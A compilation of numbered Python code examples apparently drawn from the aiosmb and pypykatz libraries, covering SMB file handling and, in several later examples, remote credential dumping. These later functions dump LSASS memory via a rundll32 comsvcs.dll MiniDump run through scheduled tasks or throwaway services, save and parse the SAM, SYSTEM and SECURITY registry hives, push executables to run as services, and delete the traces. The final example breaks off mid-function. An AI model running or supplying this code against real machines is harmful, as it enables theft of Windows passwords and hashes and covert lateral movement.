Beispiel #1
0
	async def open(self, filename, mode = 'r'):
		self.mode = mode
		if 'p' in self.mode:
			self.is_pipe = True
		
		if isinstance(filename, str):
			#then it's a string path, we need to create an SMBFile
			if filename.startswith('\\\\') != True:
				raise Exception('Filename as a string MUST be in \\\\<server>\\<share>\\....\\file format!')
			
			server_name, t , file_path = filename[2:].split('\\',2)
			share_name = '\\\\' + server_name + '\\' + t
			self.share = SMBShare()
			self.share.fullpath = share_name
			self.file = SMBFile()
			self.file.parent_share = self.share
			self.fullpath = file_path
		
		elif isinstance(filename, SMBFile):
			#this arrived from somewhere else
			if filename.parent_share.fullpath is None:
				raise Exception('Parent share MUST be speicfied if open is called with SMBFile object as filename!') #otherwise noone knows the treeid to connect to...
			self.share = SMBShare()
			self.share.fullpath = filename.parent_share.fullpath
			self.file = SMBFile()
			self.file.fullpath = filename.fullpath
			
		else:
			raise Exception('Filename MUST be either SMBFile or a full path string to the file')
		
		#first, connecting to the share. we create a new treeid regardless of it already exists one for this share or not
		await self.__connect_share(self.share)
		
		#then connect to file
		if 'r' in mode and 'w' in mode:
			raise ValueError('must have exactly one of read/write mode')
			
		if 'r' in mode:
			desired_access = FileAccessMask.FILE_READ_DATA | FileAccessMask.FILE_READ_ATTRIBUTES
			share_mode = ShareAccess.FILE_SHARE_READ
			create_options = CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_NONALERT 
			file_attrs = 0
			create_disposition = CreateDisposition.FILE_OPEN
			
			self.file.file_id, smb_reply = await self.connection.create(self.share.tree_id, self.fullpath, desired_access, share_mode, create_options, create_disposition, file_attrs, return_reply = True)
			self.file.size = smb_reply.EndofFile
			
		elif 'w' in mode:
			desired_access = FileAccessMask.GENERIC_READ | FileAccessMask.GENERIC_WRITE
			share_mode = ShareAccess.FILE_SHARE_READ | ShareAccess.FILE_SHARE_WRITE
			create_options = CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_NONALERT 
			file_attrs = 0
			create_disposition = CreateDisposition.FILE_OPEN_IF #FILE_OPEN ? might cause an issue?
			
			self.file.file_id, smb_reply = await self.connection.create(self.share.tree_id, self.fullpath, desired_access, share_mode, create_options, create_disposition, file_attrs, return_reply = True)
			self.file.size = smb_reply.EndofFile
			
		else:
			raise Exception('ONLY read and write is supported at the moment!')
Beispiel #2
0
    async def list_interfaces(self):
        try:
            interfaces = []
            ipc_file = SMBFile.from_uncpath(
                '\\\\%s\\IPC$' % self.connection.target.get_hostname_or_ip())
            await ipc_file.open(self.connection, 'r')
            ifaces_raw, err = await self.connection.ioctl(
                ipc_file.tree_id,
                b'\xFF' * 16,
                CtlCode.FSCTL_QUERY_NETWORK_INTERFACE_INFO,
                data=None,
                flags=IOCTLREQFlags.IS_FSCTL)
            if err is not None:
                raise err

            for iface_raw in ifaces_raw:
                t = {
                    'index': iface_raw.IfIndex,
                    'cap': iface_raw.Capability,
                    'speed': iface_raw.LinkSpeed,
                    'address': str(iface_raw.SockAddr_Storage.Addr),
                }
                interfaces.append(t)

            return interfaces, None

        except Exception as e:
            return None, e

        finally:
            await ipc_file.close()
Beispiel #3
0
    async def deploy_service(self,
                             path_to_executable,
                             remote_path=None,
                             service_name=None):
        """

		remote path must be UNC
		"""
        try:
            _, err = await self.connect_rpc('SERVICEMGR')
            if err is not None:
                raise err

            if service_name is None:
                service_name = os.urandom(4).hex()
            if remote_path is None:
                raise NotImplementedError()

            filename = ntpath.basename(path_to_executable)
            remote_file_path = remote_path + filename
            remote_file = SMBFile.from_uncpath(remote_file_path)
            await self.put_file(path_to_executable, remote_file)

            command = remote_file_path

            await self.create_service(service_name, command)

            return True, None
        except Exception as e:
            return None, e
Beispiel #4
0
    async def run(self):
        while True:
            try:
                cmd = await self.in_q.coro_get()
                if cmd.cmd_type == SMBFILECMD.OPEN:
                    try:
                        sf = SMBFile.from_remotepath(self.connection, cmd.path)
                        await sf.open(self.connection, cmd.mode)
                        self.filehandle[self.curhandle] = sf
                        self.curhandle += 1
                        res = SMBFileOpenReply(cmd.cmd_id, self.curhandle - 1)
                        await self.out_q.coro_put(res)
                    except Exception as e:
                        res = SMBFileError(cmd.cmd_id, str(e))
                        await self.out_q.coro_put(res)

                elif cmd.cmd_type == SMBFILECMD.READ:
                    try:
                        sf = self.filehandle.get(cmd.handle)
                        await sf.seek(cmd.position, 0)
                        data = await sf.read(cmd.count)
                        res = SMBFileReadReply(cmd.cmd_id, cmd.handle, data)
                        await self.out_q.coro_put(res)
                    except Exception as e:
                        res = SMBFileError(cmd.cmd_id, str(e))
                        await self.out_q.coro_put(res)

                elif cmd.cmd_type == SMBFILECMD.CLOSE:
                    try:
                        sf = self.filehandle.get(cmd.handle)
                        await sf.close()
                        del self.filehandle[cmd.handle]
                        res = SMBFileCloseReply(cmd.cmd_id, cmd.handle)
                        await self.out_q.coro_put(res)
                    except Exception as e:
                        res = SMBFileError(cmd.cmd_id, str(e))
                        await self.out_q.coro_put(res)

                elif cmd.cmd_type == SMBFILECMD.WRITE:
                    try:
                        sf = self.filehandle.get(cmd.handle)
                        await sf.seek(cmd.position, 0)
                        count = await sf.write(cmd.data)
                        del self.filehandle[cmd.handle]
                        res = SMBFileWriteReply(cmd.cmd_id, cmd.handle, count)
                        await self.out_q.coro_put(res)
                    except Exception as e:
                        res = SMBFileError(cmd.cmd_id, str(e))
                        await self.out_q.coro_put(res)

                elif cmd.cmd_type == SMBFILECMD.TERMINATE:
                    for handle in self.filehandle:
                        sf = self.filehandle[handle]
                        await sf.close()
                        del self.filehandle[handle]
                    return
            except Exception as e:
                res = SMBFileError(cmd.cmd_id, str(e))
                await self.out_q.coro_put(res)
                return
Beispiel #5
0
	async def connect(self):
		# TODO: if the smb connection is not set up, we need to set it up
		try:
			unc_path = '\\\\%s\\%s%s' % (self.target.smb_connection.target.get_hostname_or_ip(), 'IPC$', self.target.pipe)
			self.smbfile = SMBFile.from_uncpath(unc_path)
			_, err = await self.smbfile.open(self.target.smb_connection, 'wp')
			return True, err
		except Exception as e:
			return None, e
Beispiel #6
0
	async def put_file(self, local_path, remote_path):
		"""
		remote_path must be a full UNC path with the file name included!

		"""
		smbfile = SMBFile.from_remotepath(self.connection, remote_path)
		await smbfile.open(self.connection, 'w')
		with open(local_path, 'rb') as f:
			await smbfile.write_buffer(f)
		await smbfile.close()
		return True
Beispiel #7
0
    async def run(self):
        try:
            self.task_q = asyncio.Queue()
            self.target_gen_task = asyncio.create_task(self.__target_gen())

            while True:
                t = await self.task_q.get()
                if t is None:
                    return True, None

                tid, target = t
                unc = PureWindowsPath(target)
                file_name = unc.name
                print()
                connection = self.smb_mgr.create_connection_newtarget(
                    target.replace('\\\\', '').split('\\')[0])
                async with connection:
                    _, err = await connection.login()
                    if err is not None:
                        raise err

                    print(target)
                    smbfile = SMBFile.from_uncpath(target)
                    _, err = await smbfile.open(connection, 'r')
                    if err is not None:
                        logger.info('Error Downloading file %s' % target)
                        continue

                    if self.show_progress is True:
                        pbar = tqdm.tqdm(desc='Downloading %s' % file_name,
                                         total=smbfile.size,
                                         unit='B',
                                         unit_scale=True,
                                         unit_divisor=1024)

                    with open(file_name, 'wb') as f:
                        async for data, err in smbfile.read_chunked():
                            if err is not None:
                                logger.info('Error Downloading file %s' %
                                            target)
                                continue
                            if data is None:
                                break

                            f.write(data)

                            if self.show_progress is True:
                                pbar.update(len(data))

            return True, None
        except Exception as e:
            return False, e
Beispiel #8
0
    async def put_file(self, local_path, remote_path):
        """
		remote_path must be a full UNC path with the file name included!

		"""
        try:
            smbfile = SMBFile.from_remotepath(self.connection, remote_path)
            _, err = await smbfile.open(self.connection, 'w')
            if err is not None:
                return False, err

            with open(local_path, 'rb') as f:
                total_writen, err = await smbfile.write_buffer(f)

            await smbfile.close()
            return total_writen, None
        except Exception as e:
            return False, e
Beispiel #9
0
    async def put_file(self, local_path, remote_path):
        """
		remote_path must be a full UNC path with the file name included!

		"""
        try:
            smbfile = SMBFile.from_remotepath(self.connection, remote_path)
            _, err = await smbfile.open(self.connection, 'w')
            if err is not None:
                return False, None

            with open(local_path, 'rb') as f:
                await smbfile.write_buffer(f)
                await asyncio.sleep(
                    0)  #to make sure we are not consuming all CPU

            await smbfile.close()
            return True, None
        except Exception as e:
            return False, e
Beispiel #10
0
	async def deploy_service(self, path_to_executable, remote_path = None, service_name = None):
		"""

		remote path must be UNC
		"""
		if service_name is None:
			service_name = os.urandom(4).hex()
		if remote_path is None:
			raise NotImplementedError()

		filename = ntpath.basename(path_to_executable)
		remote_file_path = remote_path + filename
		remote_file = SMBFile.from_uncpath(remote_file_path)
		await self.put_file(path_to_executable, remote_file)
		
		command = remote_file_path

		await self.create_service(service_name, command)

		return True, None
Beispiel #11
0
    async def task_dump_lsass(self, lsass_file_name=None, silent=False):
        try:
            _, err = await self.connect_rpc('TSCH')
            if err is not None:
                raise err
            if lsass_file_name is None:
                lsass_file_name = os.urandom(4).hex() + '.arj'
            command = "powershell.exe -NoP -C \"%%windir%%\\System32\\rundll32.exe %%windir%%\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).Id \\Windows\\Temp\\%s full;Wait-Process -Id (Get-Process rundll32).id\"" % lsass_file_name

            logger.debug('Command: %s' % command)

            res, err = await self.tasks_execute_commands([command])
            if err is not None:
                raise err

            if silent is False:
                print(
                    '[%s] Dumping task created on remote end, now waiting...' %
                    self.connection.target.get_hostname_or_ip())

            for _ in range(5):
                await asyncio.sleep(5)
                temp = SMBFile.from_remotepath(
                    self.connection, '\\ADMIN$\\Temp\\%s' % lsass_file_name)
                _, err = await temp.open(self.connection)
                if err is not None:
                    continue
                if silent is False:
                    print('[%s] Remote file location: C:\\Windows\\Temp\\%s' %
                          (self.connection.target.get_hostname_or_ip(),
                           lsass_file_name))
                return temp, None

            return None, err
        except Exception as e:
            return None, e
Beispiel #12
0
    async def list(self, connection):
        """
		Lists all files and folders in the directory
		directory: SMBDirectory
		fills the SMBDirectory's data
		"""
        desired_access = FileAccessMask.FILE_READ_DATA
        share_mode = ShareAccess.FILE_SHARE_READ
        create_options = CreateOptions.FILE_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_NONALERT
        file_attrs = 0
        create_disposition = CreateDisposition.FILE_OPEN

        try:
            file_id = await connection.create(self.tree_id, self.fullpath,
                                              desired_access, share_mode,
                                              create_options,
                                              create_disposition, file_attrs)
        except Exception as e:
            return False, e
        try:
            while True:
                fileinfos = await connection.query_directory(
                    self.tree_id, file_id)
                if not fileinfos:
                    break
                for info in fileinfos:
                    if info.FileAttributes & FileAttributes.FILE_ATTRIBUTE_DIRECTORY:
                        dirname = info.FileName
                        if info.FileName in ['.', '..']:
                            continue
                        subdir = SMBDirectory()
                        subdir.tree_id = self.tree_id
                        if self.fullpath != '':
                            subdir.fullpath = '%s\\%s' % (self.fullpath,
                                                          info.FileName)
                        else:
                            subdir.fullpath = info.FileName
                        subdir.unc_path = '%s\\%s' % (self.unc_path,
                                                      info.FileName)
                        subdir.parent_dir = self
                        subdir.name = info.FileName
                        subdir.creation_time = info.CreationTime
                        subdir.last_access_time = info.LastAccessTime
                        subdir.last_write_time = info.LastWriteTime
                        subdir.change_time = info.ChangeTime
                        subdir.allocation_size = info.AllocationSize
                        subdir.attributes = info.FileAttributes

                        self.subdirs[subdir.name] = subdir

                    else:
                        file = SMBFile()
                        #file.parent_share = directory.parent_share
                        file.tree_id = self.tree_id
                        file.parent_dir = None
                        if self.fullpath != '':
                            file.fullpath = '%s\\%s' % (self.fullpath,
                                                        info.FileName)
                            file.unc_path = '%s\\%s' % (self.unc_path,
                                                        info.FileName)
                        else:
                            file.fullpath = info.FileName
                            file.unc_path = '%s\\%s' % (self.unc_path,
                                                        info.FileName)
                        file.name = info.FileName
                        file.size = info.EndOfFile
                        file.creation_time = info.CreationTime
                        file.last_access_time = info.LastAccessTime
                        file.last_write_time = info.LastWriteTime
                        file.change_time = info.ChangeTime
                        file.allocation_size = info.AllocationSize
                        file.attributes = info.FileAttributes
                        self.files[file.name] = file
            return True, None
        except Exception as e:
            return False, e
        finally:
            if file_id is not None:
                await connection.close(self.tree_id, file_id)
Beispiel #13
0
    async def list_gen(self, connection):
        """
		Lists all files and folders in the directory, yields the results as they arrive
		directory: SMBDirectory
		DOESN'T fill the SMBDirectory's data
		"""
        self.files = {}
        self.subdirs = {}

        desired_access = FileAccessMask.FILE_READ_DATA
        share_mode = ShareAccess.FILE_SHARE_READ
        create_options = CreateOptions.FILE_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_NONALERT
        file_attrs = 0
        create_disposition = CreateDisposition.FILE_OPEN

        if not self.tree_id:
            tree_entry, err = await connection.tree_connect(
                self.get_share_path())
            if err is not None:
                yield self, 'dir', err
                return
            self.tree_id = tree_entry.tree_id

        file_id, err = await connection.create(self.tree_id, self.fullpath,
                                               desired_access, share_mode,
                                               create_options,
                                               create_disposition, file_attrs)
        if err is not None:
            yield self, 'dir', err
            return
        try:
            while True:
                fileinfos, err = await connection.query_directory(
                    self.tree_id, file_id)
                if err is not None:
                    raise err
                if not fileinfos:
                    break
                for info in fileinfos:
                    if info.FileAttributes & FileAttributes.FILE_ATTRIBUTE_DIRECTORY:
                        dirname = info.FileName
                        if info.FileName in ['.', '..']:
                            continue
                        subdir = SMBDirectory()
                        subdir.tree_id = self.tree_id
                        if self.fullpath != '':
                            subdir.fullpath = '%s\\%s' % (self.fullpath,
                                                          info.FileName)
                        else:
                            subdir.fullpath = info.FileName
                        subdir.unc_path = '%s\\%s' % (self.unc_path,
                                                      info.FileName)
                        subdir.parent_dir = self
                        subdir.name = info.FileName
                        subdir.creation_time = info.CreationTime
                        subdir.last_access_time = info.LastAccessTime
                        subdir.last_write_time = info.LastWriteTime
                        subdir.change_time = info.ChangeTime
                        subdir.allocation_size = info.AllocationSize
                        subdir.attributes = info.FileAttributes

                        yield subdir, 'dir', None

                    else:
                        file = SMBFile()
                        file.tree_id = self.tree_id
                        file.parent_dir = None
                        if self.fullpath != '':
                            file.fullpath = '%s\\%s' % (self.fullpath,
                                                        info.FileName)
                            file.unc_path = '%s\\%s' % (self.unc_path,
                                                        info.FileName)
                        else:
                            file.fullpath = info.FileName
                            file.unc_path = '%s\\%s' % (self.unc_path,
                                                        info.FileName)
                        file.name = info.FileName
                        file.size = info.EndOfFile
                        file.creation_time = info.CreationTime
                        file.last_access_time = info.LastAccessTime
                        file.last_write_time = info.LastWriteTime
                        file.change_time = info.ChangeTime
                        file.allocation_size = info.AllocationSize
                        file.attributes = info.FileAttributes
                        yield file, 'file', None

        except Exception as e:
            yield self, 'dir', e
            return
        finally:
            if file_id is not None:
                await connection.close(self.tree_id, file_id)
Beispiel #14
0
    async def service_dump_lsass(self, lsass_file_name=None, silent=False):
        try:
            _, err = await self.connect_rpc('SERVICEMGR')
            if err is not None:
                raise err

            if lsass_file_name is None:
                lsass_file_name = os.urandom(4).hex() + '.arj'
            command = "powershell.exe -NoP -C \"%%windir%%\\System32\\rundll32.exe %%windir%%\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).Id \\Windows\\Temp\\%s full;Wait-Process -Id (Get-Process rundll32).id\"" % lsass_file_name
            service_name = os.urandom(4).hex()
            display_name = service_name

            batch_file = os.urandom(4).hex() + '.bat'
            #totally not from impacket
            command = '%%COMSPEC%% /Q /c echo %s  2^>^&1 > %s & %%COMSPEC%% /Q /c %s & del %s' % (
                command, batch_file, batch_file, batch_file)

            logger.debug('Service: %s' % service_name)
            logger.debug('Command: %s' % command)
            #return None, None

            res, err = await self.named_rpcs['SERVICEMGR'].create_service(
                service_name, display_name, command, scmr.SERVICE_DEMAND_START)
            if err is not None:
                raise err

            if silent is False:
                print('[%s] Service created with name: %s' %
                      (self.connection.target.get_hostname_or_ip(),
                       service_name))

            _, err = await self.start_service(service_name)

            for _ in range(5):
                await asyncio.sleep(5)
                temp = SMBFile.from_remotepath(
                    self.connection, '\\ADMIN$\\Temp\\%s' % lsass_file_name)
                _, err = await temp.open(self.connection)
                if err is not None:
                    continue
                if silent is False:
                    print(
                        '[%s] Dump file is now accessible here: C:\\Windows\\Temp\\%s'
                        % (self.connection.target.get_hostname_or_ip(),
                           lsass_file_name))
                return temp, None

            return None, err
        except Exception as e:
            return None, e
        finally:
            _, err = await self.delete_service(service_name)
            if err is not None:
                logger.debug('Failed to delete service!')
                if silent is False:
                    print('[%s] Failed to remove service: %s' %
                          (self.connection.target.get_hostname_or_ip(),
                           service_name))
            else:
                if silent is False:
                    print('[%s] Removed service: %s' %
                          (self.connection.target.get_hostname_or_ip(),
                           service_name))
Beispiel #15
0
 def get_file(self):
     return SMBFile.from_smburl(self)
Beispiel #16
0
async def regdump(url,
                  hives=['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'],
                  remote_base_path='C:\\Windows\\Temp\\',
                  remote_share_name='\\c$\\Windows\\Temp\\',
                  enable_wait=3):
    from aiosmb.commons.connection.url import SMBConnectionURL
    from aiosmb.commons.interfaces.machine import SMBMachine
    from aiosmb.commons.interfaces.file import SMBFile
    from aiosmb.dcerpc.v5.common.service import SMBServiceStatus
    from pypykatz.alsadecryptor.asbmfile import SMBFileReader
    from pypykatz.registry.aoffline_parser import OffineRegistry

    smburl = SMBConnectionURL(url)
    connection = smburl.get_connection()
    if remote_base_path.endswith('\\') is False:
        remote_base_path += '\\'

    if remote_share_name.endswith('\\') is False:
        remote_share_name += '\\'

    po = None

    async with connection:
        logging.debug('[REGDUMP] Connecting to server...')
        _, err = await connection.login()
        if err is not None:
            raise err

        logging.debug('[REGDUMP] Connected to server!')
        async with SMBMachine(connection) as machine:
            logging.debug(
                '[REGDUMP] Checking remote registry service status...')
            status, err = await machine.check_service_status('RemoteRegistry')
            if err is not None:
                raise err

            logging.debug('[REGDUMP] Remote registry service status: %s' %
                          status.name)
            if status != SMBServiceStatus.RUNNING:
                logging.debug('[REGDUMP] Enabling Remote registry service')
                _, err = await machine.enable_service('RemoteRegistry')
                if err is not None:
                    raise err
                logging.debug('[REGDUMP] Starting Remote registry service')
                _, err = await machine.start_service('RemoteRegistry')
                if err is not None:
                    raise err

                await asyncio.sleep(enable_wait)

            logging.debug(
                '[REGDUMP] Remote registry service should be running now...')
            files = {}
            for hive in hives:
                fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex())
                remote_path = remote_base_path + fname
                remote_sharepath = remote_share_name + fname
                remote_file = SMBFileReader(
                    SMBFile.from_remotepath(connection, remote_sharepath))
                files[hive.split('\\')[1].upper()] = remote_file

                logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' %
                             (hive, remote_path))
                _, err = await machine.save_registry_hive(hive, remote_path)
                if err is not None:
                    raise err

            #await asyncio.sleep(1)
            for rfilename in files:
                rfile = files[rfilename]
                logging.debug('[REGDUMP] Opening reghive file %s' % rfilename)
                _, err = await rfile.open(connection)
                if err is not None:
                    raise err

            try:
                logging.debug('[REGDUMP] Parsing hives...')
                po = await OffineRegistry.from_async_reader(
                    files['SYSTEM'],
                    sam_reader=files.get('SAM'),
                    security_reader=files.get('SECURITY'),
                    software_reader=files.get('SOFTWARE'))
            except Exception as e:
                print(e)

            logging.debug('[REGDUMP] Hives parsed OK!')

            logging.debug('[REGDUMP] Deleting remote files...')
            err = None
            for rfilename in files:
                rfile = files[rfilename]
                err = await rfile.close()
                if err is not None:
                    logging.debug(
                        '[REGDUMP] ERR! Failed to close hive dump file! %s' %
                        rfilename)

                _, err = await rfile.delete()
                if err is not None:
                    logging.debug(
                        '[REGDUMP] ERR! Failed to delete hive dump file! %s' %
                        rfilename)

            if err is None:
                logging.debug('[REGDUMP] Deleting remote files OK!')
    return po
Beispiel #17
0
async def regfile(url,
                  system,
                  sam=None,
                  security=None,
                  software=None,
                  smb_basepath=None):
    from aiosmb.commons.connection.url import SMBConnectionURL
    from aiosmb.commons.interfaces.file import SMBFile
    from pypykatz.alsadecryptor.asbmfile import SMBFileReader
    from pypykatz.registry.aoffline_parser import OffineRegistry

    smburl = SMBConnectionURL(url)
    connection = smburl.get_connection()

    if smb_basepath is None:
        smb_basepath = smburl.path
    if smb_basepath.endswith('/') is False:
        smb_basepath += '/'
    smb_basepath = smb_basepath.replace('/', '\\')

    system_smbfile_path = smb_basepath + system
    sam_smbfile = None
    security_smbfile = None
    software_smbfile = None

    system_smbfile = SMBFileReader(
        SMBFile.from_remotepath(connection, system_smbfile_path))

    if sam:
        sam_smbfile_path = smb_basepath + sam
        sam_smbfile = SMBFileReader(
            SMBFile.from_remotepath(connection, sam_smbfile_path))

    if security:
        security_smbfile_path = smb_basepath + security
        security_smbfile = SMBFileReader(
            SMBFile.from_remotepath(connection, security_smbfile_path))

    if software:
        software_smbfile_path = smb_basepath + software
        software_smbfile = SMBFileReader(
            SMBFile.from_remotepath(connection, software_smbfile_path))

    po = None
    async with connection:
        logging.debug('[REGFILE] Connecting to server...')
        _, err = await connection.login()
        if err is not None:
            raise err

        logging.debug('[REGFILE] Connected to server!')
        logging.debug('[REGFILE] Opening SYSTEM hive dump file...')
        # parse files here
        _, err = await system_smbfile.open(connection)
        if err is not None:
            raise err

        if sam_smbfile is not None:
            logging.debug('[REGFILE] Opening SAM hive dump file...')
            _, err = await sam_smbfile.open(connection)
            if err is not None:
                raise err

        if security_smbfile is not None:
            logging.debug('[REGFILE] Opening SECURITY hive dump file...')
            _, err = await security_smbfile.open(connection)
            if err is not None:
                raise err

        if software_smbfile is not None:
            logging.debug('[REGFILE] Opening SOFTWARE hive dump file...')
            _, err = await software_smbfile.open(connection)
            if err is not None:
                raise err

        logging.debug('[REGFILE] All files opened OK!')
        logging.debug('[REGFILE] Parsing hive files...')
        po = await OffineRegistry.from_async_reader(
            system_smbfile,
            sam_reader=sam_smbfile,
            security_reader=security_smbfile,
            software_reader=software_smbfile)
        logging.debug('[REGFILE] Hive files parsed OK!')

    return po
Beispiel #18
0
async def lsassdump(url,
                    method='taskexec',
                    remote_base_path='C:\\Windows\\Temp\\',
                    remote_share_name='\\c$\\Windows\\Temp\\',
                    chunksize=64 * 1024,
                    packages=['all']):
    from aiosmb.commons.exceptions import SMBException
    from aiosmb.wintypes.ntstatus import NTStatus
    from aiosmb.commons.connection.url import SMBConnectionURL
    from aiosmb.commons.interfaces.machine import SMBMachine
    from pypykatz.alsadecryptor.asbmfile import SMBFileReader
    from aiosmb.commons.interfaces.file import SMBFile
    from pypykatz.apypykatz import apypykatz

    smburl = SMBConnectionURL(url)
    connection = smburl.get_connection()

    if remote_base_path.endswith('\\') is False:
        remote_base_path += '\\'

    if remote_share_name.endswith('\\') is False:
        remote_share_name += '\\'

    fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex())
    filepath = remote_base_path + fname
    filesharepath = remote_share_name + fname

    if method == 'taskexec':
        cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(
            filepath)
        commands = [cmd]

    else:
        raise Exception('Unknown execution method %s' % method)

    mimi = None
    async with connection:
        logging.debug('[LSASSDUMP] Connecting to server...')
        _, err = await connection.login()
        if err is not None:
            raise err
        logging.debug('[LSASSDUMP] Connected!')
        async with SMBMachine(connection) as machine:
            if method == 'taskexec':
                logging.debug(
                    '[LSASSDUMP] Start dumping LSASS with taskexec method!')
                logging.info('[LSASSDUMP] File location: %s' % filepath)
                _, err = await machine.tasks_execute_commands(commands)
                if err is not None:
                    raise err

                logging.debug(
                    '[LSASSDUMP] Sleeping a bit to let the remote host finish dumping'
                )
                await asyncio.sleep(10)

            else:
                raise Exception('Unknown execution method %s' % method)

        logging.debug('[LSASSDUMP] Opening LSASS dump file...')
        for _ in range(3):
            smbfile = SMBFileReader(
                SMBFile.from_remotepath(connection, filesharepath))
            _, err = await smbfile.open(connection)
            if err is not None:
                if isinstance(err, SMBException):
                    if err.ntstatus == NTStatus.SHARING_VIOLATION:
                        logging.debug(
                            '[LSASSDUMP] LSASS dump is not yet ready, retrying...'
                        )
                        await asyncio.sleep(1)
                        continue
                raise err
            break
        else:
            raise err

        logging.debug('[LSASSDUMP] LSASS dump file opened!')
        logging.debug(
            '[LSASSDUMP] parsing LSASS dump file on the remote host...')
        mimi = await apypykatz.parse_minidump_external(smbfile,
                                                       chunksize=chunksize,
                                                       packages=packages)

        logging.debug('[LSASSDUMP] parsing OK!')
        logging.debug('[LSASSDUMP] Deleting remote dump file...')
        _, err = await smbfile.delete()
        if err is not None:
            logging.info(
                '[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err)
        else:
            logging.info('[LSASSDUMP] remote LSASS file deleted OK!')

    return mimi
Beispiel #19
0
async def smb_registry(machine,
                       outfolder=None,
                       show_pbar=False,
                       use_share='C$',
                       use_dir='temp2'):
    try:
        logger.info('[+] Starting REGDUMP on %s' %
                    machine.connection.target.get_hostname_or_ip())
        logger.info('[+] REGDUMP listing shares...')
        shares = {}
        async for share, err in machine.list_shares():
            if err is not None:
                return False, err

            shares[share.name] = share

        if use_share not in shares:
            return False, Exception('Requested share name %s was not found!' %
                                    use_share)

        logger.info('[+] REGDUMP creating temp folder on C$...')
        await shares[use_share].connect(machine.connection
                                        )  #connecting to share
        current_directory = shares[use_share].subdirs['']
        await current_directory.list(machine.connection)

        if use_dir not in current_directory.subdirs:
            logger.info(
                '[!] REGDUMP Requested subdir was not found! Creating it...')
            _, err = await current_directory.create_subdir(
                use_dir, machine.connection)
            if err is not None:
                logger.info(
                    '[-] REGDUMP Failed to create requested directory "%s" Reason: %s'
                    % (use_dir, str(err)))
                return err

            await current_directory.list(machine.connection)

        bpath = '%s:\\%s' % (use_share[0], use_dir)
        uncbp = '\\%s\\%s' % (use_share, use_dir)
        samh = '%s.%s' % (os.urandom(8).hex(), os.urandom(2).hex()[:3])
        sech = '%s.%s' % (os.urandom(8).hex(), os.urandom(2).hex()[:3])
        sysh = '%s.%s' % (os.urandom(8).hex(), os.urandom(2).hex()[:3])
        reshname = {
            'SAM': '%s\\%s' % (bpath, samh),
            'SAM_unc': '%s\\%s' % (uncbp, samh),
            'SECURITY': '%s\\%s' % (bpath, sech),
            'SECURITY_unc': '%s\\%s' % (uncbp, sech),
            'SYSTEM': '%s\\%s' % (bpath, sysh),
            'SYSTEM_unc': '%s\\%s' % (uncbp, sysh),
        }
        for hive_name in ['SAM', 'SECURITY', 'SYSTEM']:
            logger.info('[+] REGDUMP Dumping %s hive to remote path' %
                        hive_name)
            _, err = await machine.save_registry_hive(hive_name,
                                                      reshname[hive_name])
            if err is not None:
                logger.info('[-] Failed to dump %s hive' % hive_name)
                return False, err

        await asyncio.sleep(
            5
        )  # sleeping for a bit because the files might not have been written to the remote disk yet
        logger.info(
            '[+] REGDUMP Dumping part complete, now parsing the files!')

        po, err = await parse_regfiles(machine, reshname['SAM_unc'],
                                       reshname['SYSTEM_unc'],
                                       reshname['SECURITY_unc'])
        if err is not None:
            logger.error(
                '[-] REGDUMP Failed to parse the registry hive files remotely!'
            )
            if outfolder is None:
                logger.info(
                    '[+] REGDUMP no output folder specified, skipping downloading unparsable registry hives!'
                )
                return False, None
            logger.info('[+] REGDUMP Downloading registry files as failsafe')

            for uname in ['SAM_unc', 'SECURITY_unc', 'SYSTEM_unc']:
                file_name = uname.split('_')[0] + '.reg'
                file_obj = SMBFile.from_remotepath(machine.connection,
                                                   reshname[uname])
                try:
                    with tqdm(desc='Downloading %s' % file_name,
                              total=file_obj.size,
                              unit='B',
                              unit_scale=True,
                              unit_divisor=1024) as pbar:
                        with open(outfolder.joinpath(file_name),
                                  'wb') as outfile:
                            async for data, err in machine.get_file_data(
                                    file_obj):
                                if err is not None:
                                    raise err
                                if data is None:
                                    break
                                outfile.write(data)
                                pbar.update(len(data))

                except Exception as e:
                    logger.error('[-] REGDUMP failed to retrieve %s' %
                                 file_name)
                finally:
                    await file_obj.close()

                logger.info('[+] REGDUMP Sucsessfully downloaded %s' %
                            file_name)

        else:
            if outfolder is None:
                print(str(po))
            else:
                with open(outfolder.joinpath('results.txt'), 'w') as f:
                    f.write(str(po))

        return True, None
    except Exception as e:
        return False, e

    finally:
        logger.info('[+] REGDUMP Removing hive files from remote system')
        for uname in ['SAM_unc', 'SECURITY_unc', 'SYSTEM_unc']:
            _, err = await SMBFile.delete_unc(machine.connection,
                                              reshname[uname])
            if err is not None:
                logger.warning('[+] REGDUMP Failed to clear up hive file %s' %
                               reshname[uname])

        logger.info('[+] REGDUMP on %s finished!' %
                    machine.connection.target.get_hostname_or_ip())
Beispiel #20
0
async def smb_task_lsass(machine,
                         outfolder=None,
                         use_share='C$',
                         use_dir='temp2',
                         procdump_local_path='bins',
                         is_32=False):
    logger.info('[+] Starting LSASS_TASK on %s' %
                machine.connection.target.get_hostname_or_ip())
    try:
        shares = {}
        async for share, err in machine.list_shares():
            if err is not None:
                return False, err

            shares[share.name] = share

        if use_share not in shares:
            return False, Exception('Requested share name %s was not found!' %
                                    use_share)

        logger.info('[+] LSASS_TASK creating temp folder on C$...')
        await shares[use_share].connect(machine.connection
                                        )  #connecting to share
        current_directory = shares[use_share].subdirs['']
        await current_directory.list(machine.connection)

        if use_dir not in current_directory.subdirs:
            logger.info(
                '[!] LSASS_TASK Requested subdir was not found! Creating it...'
            )
            _, err = await current_directory.create_subdir(
                use_dir, machine.connection)
            if err is not None:
                logger.info(
                    '[-] LSASS_TASK Failed to create requested directory "%s" Reason: %s'
                    % (use_dir, str(err)))
                return err

            await current_directory.list(machine.connection)

        bpath = '%s:\\%s' % (use_share[0], use_dir)
        uncbp = '\\%s\\%s' % (use_share, use_dir)

